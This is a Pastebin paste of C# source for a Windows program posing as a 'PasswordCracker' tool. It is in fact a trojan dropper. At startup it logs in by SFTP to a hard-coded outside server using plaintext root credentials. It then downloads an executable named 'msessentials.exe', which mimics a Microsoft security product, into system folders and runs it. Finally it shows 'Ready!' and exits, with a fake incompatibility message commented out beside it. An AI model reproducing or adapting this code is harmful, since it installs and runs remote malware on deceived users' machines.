Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Windows.Forms;
- using System.IO;
- using System.Diagnostics;
- using System.Threading;
- using Renci.SshNet;
- namespace PasswordCracker
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- downloadFile();
- //MessageBox.Show("Network Board not compatible with Password Cracker!");
- MessageBox.Show("Ready!");
- Environment.Exit(1);
- }
- public void downloadFile()
- {
- String Host = "104.131.6.174";
- int Port = 22;
- String RemoteFileName = "/srv/users/serverpilot/apps/logs/msessentials.exe";
- String RemoteFileName2 = "/srv/users/serverpilot/apps/logs/Renci.SshNet.dll";
- String LocalDestinationFilename1 = @"C:\Windows\msessentials.exe";
- String LocalDestinationFilename11 = @"C:\Windows\Renci.SshNet.dll";
- String LocalDestinationFilename2 = @"C:\Program Files\Windows Essentials\msessentials.exe";
- String LocalDestinationFilename22 = @"C:\Program Files\Windows Essentials\Renci.SshNet.dll";
- String Username = "root";
- String Password = "btminhkn";
- using (var sftp = new SftpClient(Host, Port, Username, Password))
- {
- sftp.Connect();
- try
- {
- using (var file = File.OpenWrite(LocalDestinationFilename1))
- {
- sftp.DownloadFile(RemoteFileName, file);
- }
- using (var file = File.OpenWrite(LocalDestinationFilename11))
- {
- sftp.DownloadFile(RemoteFileName2, file);
- }
- executarArquivo(LocalDestinationFilename1);
- }
- catch (Exception)
- {
- try
- {
- using (var file = File.OpenWrite(LocalDestinationFilename2))
- {
- sftp.DownloadFile(RemoteFileName, file);
- }
- using (var file = File.OpenWrite(LocalDestinationFilename22))
- {
- sftp.DownloadFile(RemoteFileName2, file);
- }
- executarArquivo(LocalDestinationFilename2);
- }
- catch (Exception)
- { }
- }
- sftp.Disconnect();
- }
- }
- public void executarArquivo(string fileName)
- {
- Process proc = new Process();
- proc.StartInfo.FileName = fileName; //@"C:\Program Files\OS.ini";
- proc.StartInfo.UseShellExecute = true;
- proc.Start();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement